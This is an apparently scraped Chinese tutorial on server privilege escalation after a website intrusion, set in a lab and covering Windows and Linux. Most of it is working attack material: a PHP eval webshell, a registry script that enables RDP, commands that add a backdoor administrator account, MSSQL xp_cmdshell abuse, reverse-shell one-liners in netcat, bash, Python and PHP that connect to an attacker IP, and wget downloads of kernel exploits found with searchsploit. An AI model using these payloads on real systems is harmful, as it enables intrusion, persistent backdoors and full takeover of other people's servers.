文章目录

  • 提权
    • 一、概述
    • 二、水平越权&垂直越权
    • 三、分类
      • - windows
        • 1. 基于windows2003
        • 2. 基于windows2008
        • 3. ms SQL提权
        • 5. nc反弹shell
      • - Linux
        • 1. 信息收集
        • 2. 获取webshell
        • 3. 反弹shell
        • 4. 进入交互式shell
        • 5. 提权
          • 5.1 使用提权辅助脚本
          • 5.2 使用kali漏洞库

提权

一、概述

提权即提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升webshell权限以夺得该服务器权限。

二、水平越权&垂直越权

水平越权:指相同权限下不同的用户可以互相访问;

垂直越权:指使用权限低的用户可以访问到权限较高的用户;

比如:一个论坛网站有两个普通用户A和B,还有一个管理员C,A获得了删除B帖子的权限就是水平越权;A获得了删除C帖子的权限就是垂直越权。

水平越权测试方法:主要通过看看能否通过A用户操作影响到B用户;

垂直越权测试思路:看看低权限用户是否能越权使用高权限用户的功能,比如普通用户可以使用管理员的功能。

三、分类

- windows

如果web服务器是基于 IIS 服务器, 尽量上传一个aspx的大马,因为asp脚本权限比较低,当你用asp大马执行cmd命令时,可能会出现拒绝访问。

windows提权分为:系统漏洞提权和第三方软件提权。

1. 基于windows2003

  1. 信息收集

在aspx大马的cmd下执行查找补丁命令

systeminfo>C:\Windows\Temp\a.txt&(for %i in
(KB3057191 KB2840221 KB3000061 KB2850851
KB2711167 KB2360937 KB2478960 KB2507938
KB2566454 KB2646524 KB2645640 KB2641653
KB944653 KB952004 KB971657 KB2620712
KB2393802 KB942831 KB2503665 KB2592799
KB956572 KB977165 KB2621440) do @type
C:\Windows\Temp\a.txt | @find /i "%i" || @echo
%i Not Installed!)&del /f /q /a
C:\Windows\Temp\a.txt

结果,下图的补丁该系统均没有:

  1. 查找补丁对应漏洞编号
KB2360937 MS10-084
KB2478960 MS11-014
KB2507938 MS11-056
KB2566454 MS11-062
KB2646524 MS12-003
KB2645640 MS12-009
KB2641653 MS12-018
KB944653 MS07-067
KB952004 MS09-012  PR
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011
kb942831 MS08-005
KB2503665 MS11-046
KB2592799 MS11-080
KB956572 MS09-012 烤肉
KB2621440 MS12-020
KB977165 MS10-015 Ms Viru
KB4013081 MS17-017
KB3139914 MS16-032
KB4013081 MS17-017
KB3139914 MS16-032
KB3124280 MS16-016
KB3134228 MS16-014
KB3079904 MS15-097
KB3077657 MS15-077
KB3045171 MS15-051
KB3000061 MS14-058
KB2829361 MS13-046
KB2850851 MS13-053 EPATHOBJ 0day 限32位
KB2707511 MS12-042 sysret -pid
KB2124261 KB2271195 MS10-065 IIS7
KB3198234 MS16-135
KB970483 MS09-020 IIS6
KB3031432 MS15-015
  1. 根据补丁编号查找EXP(漏洞的应用程序:.exe文件)

注意:如果无法上传EXP,说名该目录没有写权限,我们需要找肯定具备写权限的目录如:日志、缓存、回收站、大马所在目录等。

2. 基于windows2008

  1. 信息收集

在大马的cmd下执行查找补丁命令

systeminfo>C:\Windows\Temp\a.txt&(for %i in
(KB3124280 KB3143141 KB3134228 KB3079904
KB3077657 KB3124280 KB3045171 KB2829361
KB3000061 KB2850851 KB2707511 KB970483
KB2124261 KB2271195) do @type
C:\Windows\Temp\a.txt | @find /i "%i" || @echo
%i Not Installed!)&del /f /q /a
C:\Windows\Temp\a.txt

  1. 查找补丁对应漏洞编号;

  2. 根据补丁编号查找EXP,这里我们使用ms15-051的exp

  1. 使用本地远程连接工具连接该主机

1)需要开启3389端口 ,创建一个.bat文件

echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber" =dword :00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg


2)创建windows用户

# 创建一个hacker用户
net user hacker 123.com /add
# 将它加入administrators组
net localgroup administrators hacker /add


3)运行 mstsc.exe


成功连接!

3. ms SQL提权

ms SQL是指微软的SQLServer数据库服务器。

使用xp_cmdshell,执行cmd操作;xp_cmdshell是开放接口,它可以调用cmd命令,直接用SQL语句实现cmd操作。

前提:获取ms SQL sa用户的密码。

实验环境:windows 7 + SQL Server服务器。

  1. 下载对应版本的SQL Server;

  2. 启动sql server服务器;


  1. 使用sql tools工具连接,使用xp_cmdshell执行cmd命令,获得system权限;

5. nc反弹shell

  1. shell:命令解释器
    正向shell:主机主动连接服务器,服务器开启ssh端口;
    反向Sehll:服务器主动连接主机,主机监听某一个端口;
    反弹shell是基于webshell的,webshell基于http协议(请求和响应)不是持久性连接,之所以反弹是为了建立持久性连接。

  2. NetCat是一款知名的网络工具,简称nc,有渗透测试中的“瑞士军刀”之称。它可以做端口扫描,tcp/udp连接,远程传输文件,甚至远程传输流媒体,而且还可以实现远程shell等。

  3. linux/mac上默认安装nc,可在命令行下输入nc -h查看;windows下可下载nc.exe工具使用。

  1. 示例

使用asp大马上传nc.exe文件到windows 2008服务器上,使用Linux自带的nc监听端口;

# 监听端口
nc -lvvp 端口号# 执行cmd命令
nc.exe -e cmd.exe 反弹到的主机IP地址 端口号


- 注意:

如果目标使用的是套件搭建的网站如:phpstudy、xampp、wampserver等,当我们获取WebShell之后就是系统或管理员权限;如果是宝塔搭建的安全防御比较高,它禁用很多函数,我们需要考虑绕过。

- Linux

Linux提权分为:利用系统漏洞提权(内核提权)和第三方软件提权。

实验环境:

目标服务器:开启80端口的CentOS 7(IP地址:192.168.40.138);

攻击端:kali(IP地址:192.168.40.131)

CentOS 7安装apache服务:yum install httpd -y,可能当你访问网页时无法解析PHP代码,直接显示的PHP源码,解决办法:

# 1. 缺少了一个php扩展:mod_php
yum install mod_php
# 2. 在 /etc/httpd/conf目录下修改配置文件httpd.conf,在AddType application/x-gzip .gz .tgz 下面添加
AddType application/x-httpd-php .php
# 3. 在<IfModule dir_module>模块下把中间那一行改为
DirectoryIndex index.html index.htm index.php

1. 信息收集

uname -a

2. 获取webshell

  1. 在目标服务器的www目录下,放置PHP的一句话木马文件;
<?php
@eval($_REQUEST['cmd']);
?>
  1. 使用中国蚁剑连接;

当前我们是apache网络用户:

3. 反弹shell

  1. 将shell反弹到kali主机上,kali监听1234端口

反弹shell方法:

# nc -e 可用
nc -e /bin/bash 192.168.40.131 1234
# -e 参数不可用
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.131 1234 >/tmp/f
# bash反弹
/bin/bash >& /dev/tcp/192.168.40.131 1234 0>&1
# 命令执行漏洞常用
bash -c 'bash -i >& /dev/tcp/192.168.0.103/6666 0>&1' # python脚本反弹
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.40.131',1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])# PHP脚本反弹
<?php
$sock = fsockopen("192.168.40.131",1234);
$descriptorspec = array (0 => $sock,1 =>$sock,2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec,$pipes);
proc_close($process);
?>
  1. 这里我们使用python脚本反弹,上传脚本文件时一直出错,这里我们将脚本问价上传到自己的web服务器,然后拷贝url,在有写权限的目录下(/temp)使用wegt命令下载该脚本文件,再使用脚本反弹:
wget http://自己的web服务器+IP/脚本路径

成功反弹:

这个实验反弹shell后直接就是root权限了,但一般不是,我们还需要后面的提权操作!

4. 进入交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'

5. 提权

5.1 使用提权辅助脚本

Linux_Exploit_Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具。

将linux-exploit-suggester.sh脚本文件上传到目标服务器

给脚本加执行权限,执行该辅助脚本,就会显示一些漏洞编号,可以尝试使用它们进行提权:

5.2 使用kali漏洞库
  1. 使用kali自带的searchsploit去搜索漏洞库
searchsploit centos 7
  1. 找到 Local Privilege Escalation (本地的特权升级)

  1. 使用命令将漏洞脚本拷贝至当前目录下:searchsploit -m 漏洞编号

  2. 将拷贝得到的脚本上传至目标服务器

kali开启http服务:python -m SimpleHTTPServer 8080,再使用wget命令下载文件。

wget http://192.168.40.131:8080/35370.c

  1. 编译运行提权脚本

提权(概述、水平/垂直越权、windows/linux提权、反弹shell、Linux_Exploit_Suggester、searchsploit)相关推荐

  1. windows-exploit-suggester.py Windows/Linux提权辅助

    exploit-suggester.py Windows/Linux提权辅助 Windows 提权辅助 Linux 提权辅助 踩个坑 解决方案 Windows/Linux提权辅助) Windows提权 ...

  2. WEB漏洞-逻辑越权之水平垂直越权

    水平垂直越权 水平,垂直越权,未授权访问 解释 原理 利用 修复防御方案 案例 pikachu-本地水平垂直越权演示 水平越权 垂直越权 墨者水平-身份验证失效漏洞实战 越权检测-Burpsuite插 ...

  3. 网络安全笔记 -- 逻辑越权(水平垂直越权)

    1. 逻辑越权 越权: 水平越权.垂直越权 登录 暴力破解 本地加密传输 Cookie脆弱 Session劫持 密文对比认证 业务: 订单ID.手机号码.用户ID.商品ID等 数据: 支付篡改.数量篡 ...

  4. WEB攻防-通用漏洞水平垂直越权购买逻辑漏洞

    目录 水平垂直越权 水平越权 垂直越权 访问控制原理 漏洞判别 防护 购买逻辑漏洞 知识点 详细介绍 防护 案例演示-优惠券 案例演示-CMS-订单修改 水平垂直越权 水平越权 同级用户权限共享--- ...

  5. linux各种一句话反弹shell总结

    [技术分享]linux各种一句话反弹shell总结 作者:[myles007] 简介 我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之 ...

  6. 解释linux中的三种重定向,Linux重定向及反弹shell详解

    这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell 目录 0x01 文件描述符 0x02 重定向 0x03 反弹shell 0x04 交互重定向 0x05 命令变形 0x ...

  7. 逻辑越权漏洞-水平垂直越权

    越权访问漏洞 越权访问(Broken Access Contrlo简称BAC)是Web应用程序中一种常见的漏洞,由于其存在范围广,危害大在2019年OWASP列为Web应用中十大安全隐患第二名 该漏洞 ...

  8. 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。...

    反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹. 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常 ...

  9. Linux中一句话反弹Shell细说

    简介 我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之一,其中经常会遇到以下几个场景. 一.场景一 我们已经拿下主机的一个webshe ...

最新文章

  1. mpvue微信小程序动画_mpvue微信小程序系列
  2. VTK:可视化之ScalarBarActorColorSeries
  3. 性能可期——Netflix与Intel优化SVT-AV1
  4. 合并两个无序数组java_88. 合并两个有序数组
  5. 双系统环境下解决wine的字体为方块的问题
  6. Gym102059A Coloring Roads
  7. 运维堡垒机(跳板机)系统 python
  8. 为什么联通走归属地ip_为什么企业争先恐后地进行品牌虚拟IP打造?
  9. ribbon设置权重_spring cloud gateway+ribbon 组合指定版本权重分流(简易灰度发布实现)...
  10. PyCharm中直接使用Anaconda已安装的库
  11. 使用std:sort和Eigen根据矩阵某一行/列元素对矩阵的行/列排序
  12. 69期-Java SE-004_循环、数组-001-002
  13. 【转】缺少servlet-api.jar包
  14. VMware11.1.2+centOS7.4虚拟机联网问题并设置静态IP
  15. 数据规划(python实现数独自动算法之三)
  16. Android SeekBar 自定义 背景图片 和 滑块图片
  17. 激活Windows系统的方式
  18. Tekla structures深入定制开发篇(一)
  19. Spring AOP源码(1)—<aop:config/>AOP配置标签解析【一万字】
  20. LaTeX 多层列举 条目 编号

热门文章

  1. 计算机学校元旦主持词开场白,校园艺术节活动主持词开场白.doc
  2. 新版本AS 签名文件创建错误,JKS 密钥库使用专用格式。
  3. opencv实战---角度测量
  4. java 1.6 环境配置_jdk1.6环境变量配置及安装教程
  5. 八股文系列:Java中的异常和错误
  6. Clyde学习笔记二(CoordIntMap)
  7. delphi 第三方控件安装
  8. autoencoder是什么?
  9. linux打包命令tgz,Centos命令tgz文件解压到指定目录
  10. 做预算,这几种降本降风险的用工模式必收藏!